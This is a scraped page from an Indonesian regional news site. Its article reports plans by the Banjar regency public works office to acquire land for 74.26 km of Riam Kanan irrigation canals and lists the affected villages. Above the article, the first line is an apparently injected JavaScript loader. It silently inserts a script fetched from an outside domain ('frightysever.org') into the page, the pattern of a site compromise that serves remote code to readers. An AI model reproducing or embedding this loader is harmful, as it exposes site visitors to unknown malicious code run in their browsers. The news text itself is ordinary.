(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dorong pengembangan dan perluasan areal pertanian di daerah Irigasi Riam Kanan, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar siapkan pembebasan lahan sepanjang 74,26 kilometer. Sejumlah desa di kecamatan seperti Gambut, Kertak hanyar, Martapura, hingga Tata Makmur, akan terkena proyek tersebut.
Begitu disampaikan Kepala Dinas PUPR Kabupaten Mokhammad Hilman kepada kanalkalimantan.com beberapa waktu yang lalu. Adapun perpanjangan pembangunan jaringan irigasi Riam Kanan yang dilakukan Kementerian PUPR melalui Balai Wilayah Sungai Kalimantan II Kalimantan.
“Mestinya kemampuan irigasi riam kanan itu sejak jaman Belanda dulu, untuk 42 ribu hektare lahan pertanian. Sementara sekarang baru kita manfaatkan hanya 8 ribu hektare. Artinya masih banyak kapasitas air baku yang bisa dimanfaatkan untuk lahan pertanian, alasan itulah pemerintah pusat ingin memenuhi perencanaan yang sudah disiapkan tersebut,” jelasnya.
Hilman mengatakan, untuk tahap pertama pihaknya sudah menyiapkan desain dan pengerjaan fisik. Sementara jaringan irigasi yang nantinya diperlukan tersebut tidak lepas dari dukungan masyarakat yaitu ketersediaan untuk membebaskan lahan yang diperlukan.
“Jadi lahan itu masih dikuasai masyarakat, fokus kita saat ini , kita diberikan kewenangan oleh provinsi untuk melakukan langkah persiapan pengadaan lahan untuk jaringan skunder dan jaringan saluran primer tersebut. Dinas PUPR Banjar diminta untuk membantu penyediaan tanah dengan cara memberi ganti kerugian yang layak dan adil kepada yang berhak,” katanya.
Menurut dia, diperlukan pembebasan lahan sepanjang 18,42 kilometer untuk saluran primer dan 55,84 kilometer untuk saluran sekunder dengan bangunan pelengkap sebanyak 89 unit.
Adapun rincian lahan yang akan dibebaskan untuk pembangunan jaringan Irigasi Riam Kanan itu berada di Kecamatan Gambut mencakup Kelurahan Gambut, Gambut Baru, Desa Malintang Baru, Malintang, Kayu Bawang, Tambak Sirang, Tambak Sirang Baru, dan Desa Banyu Irang, Desa Guntung Papuyu, Desa Guntung Ujung, Keladan Baru serta Desa Sungai Kupang. Sedangkan di Kecamatan Martapura, hanya di Desa Cindai Alus.
Lalu di Kecamatan Kertak Hanyar berada di Desa Manarap Baru, Desa Mekar Raya, Desa Banua Hanyar, Desa Pasar Kamis, dan Desa Simpang Empat. Berikutnya, ada empat desa di Kecamatan Tatah Makmur, yakni Desa Tatah Jaruju, Desa Jaruju Laut, Desa Tatah Pemangkih dan Desa Tatah Pemangkih Tengah. (Rendy)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.